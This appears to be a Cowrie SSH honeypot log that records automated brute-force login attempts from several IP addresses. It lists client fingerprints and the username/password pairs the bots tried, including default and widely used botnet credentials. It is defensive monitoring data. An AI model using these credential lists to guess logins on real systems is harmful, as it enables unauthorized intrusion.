{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":44174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0aedda18193","protocol":"ssh","message":"New connection: 85.121.120.129:44174 (10.17.0.5:22) [session: c0aedda18193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.433143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.437699Z","src_ip":"85.121.120.129","session":"c0aedda18193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.511333Z","src_ip":"85.121.120.129","session":"c0aedda18193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:16.839066Z","src_ip":"85.121.120.129","session":"c0aedda18193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:17.916432Z","src_ip":"85.121.120.129","session":"c0aedda18193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":44182,"dst_ip":"10.17.0.5","dst_port":22,"session":"259d30e5107a","protocol":"ssh","message":"New connection: 85.121.120.129:44182 (10.17.0.5:22) [session: 259d30e5107a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:17.994700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:17.999357Z","src_ip":"85.121.120.129","session":"259d30e5107a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:18.078499Z","src_ip":"85.121.120.129","session":"259d30e5107a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:18.422536Z","src_ip":"85.121.120.129","session":"259d30e5107a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:18.498663Z","src_ip":"85.121.120.129","session":"8ef9228b7c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:18.503223Z","src_ip":"85.121.120.129","session":"259d30e5107a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":55258,"dst_ip":"10.17.0.5","dst_port":22,"session":"0924fd293079","protocol":"ssh","message":"New connection: 160.22.123.78:55258 (10.17.0.5:22) [session: 0924fd293079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:54.752635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:54.756188Z","src_ip":"160.22.123.78","session":"0924fd293079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:54.998573Z","src_ip":"160.22.123.78","session":"0924fd293079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sheller","password":"Sheller123","message":"login attempt [sheller/Sheller123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:56.004369Z","src_ip":"160.22.123.78","session":"0924fd293079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:29:57.251081Z","src_ip":"160.22.123.78","session":"0924fd293079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ada73e9a371d","protocol":"ssh","message":"New connection: 195.178.110.218:42710 (159.203.135.109:22) [session: ada73e9a371d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:19.141770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:19.146730Z","src_ip":"195.178.110.218","session":"ada73e9a371d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:19.226171Z","src_ip":"195.178.110.218","session":"ada73e9a371d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:19.466081Z","src_ip":"195.178.110.218","session":"ada73e9a371d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:20.548242Z","src_ip":"195.178.110.218","session":"ada73e9a371d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":36456,"dst_ip":"159.203.135.109","dst_port":22,"session":"a657e7c9ccbd","protocol":"ssh","message":"New connection: 43.245.143.215:36456 (159.203.135.109:22) [session: a657e7c9ccbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:29.557601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:29.561121Z","src_ip":"43.245.143.215","session":"a657e7c9ccbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:29.846058Z","src_ip":"43.245.143.215","session":"a657e7c9ccbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"setup","password":"setup","message":"login attempt [setup/setup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:31.047757Z","src_ip":"43.245.143.215","session":"a657e7c9ccbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:32.335568Z","src_ip":"43.245.143.215","session":"a657e7c9ccbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":48692,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eb809321f27","protocol":"ssh","message":"New connection: 85.121.120.129:48692 (10.17.0.5:22) [session: 1eb809321f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:55.884816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:55.888445Z","src_ip":"85.121.120.129","session":"1eb809321f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:55.965837Z","src_ip":"85.121.120.129","session":"1eb809321f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"dbuserpassword","message":"login attempt [dbuser/dbuserpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:56.309756Z","src_ip":"85.121.120.129","session":"1eb809321f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:30:57.389075Z","src_ip":"85.121.120.129","session":"1eb809321f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":33988,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0fee72b16b1","protocol":"ssh","message":"New connection: 160.22.123.78:33988 (10.17.0.5:22) [session: c0fee72b16b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:31:56.668661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:31:56.672756Z","src_ip":"160.22.123.78","session":"c0fee72b16b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:31:56.916933Z","src_ip":"160.22.123.78","session":"c0fee72b16b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rafael","password":"rafael@123456","message":"login attempt [rafael/rafael@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:31:57.928560Z","src_ip":"160.22.123.78","session":"c0fee72b16b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:31:59.175253Z","src_ip":"160.22.123.78","session":"c0fee72b16b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":35010,"dst_ip":"10.17.0.5","dst_port":22,"session":"263c49cf3534","protocol":"ssh","message":"New connection: 85.121.120.129:35010 (10.17.0.5:22) [session: 263c49cf3534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:39.742434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:39.746765Z","src_ip":"85.121.120.129","session":"263c49cf3534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:39.826518Z","src_ip":"85.121.120.129","session":"263c49cf3534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dixi","password":"dixipass","message":"login attempt [dixi/dixipass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:40.178769Z","src_ip":"85.121.120.129","session":"263c49cf3534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:41.260888Z","src_ip":"85.121.120.129","session":"263c49cf3534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":57022,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3a167855ed","protocol":"ssh","message":"New connection: 43.245.143.215:57022 (159.203.135.109:22) [session: 1d3a167855ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:47.843324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:47.847766Z","src_ip":"43.245.143.215","session":"1d3a167855ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:32:48.129879Z","src_ip":"43.245.143.215","session":"1d3a167855ed","protocol":"ssh"}
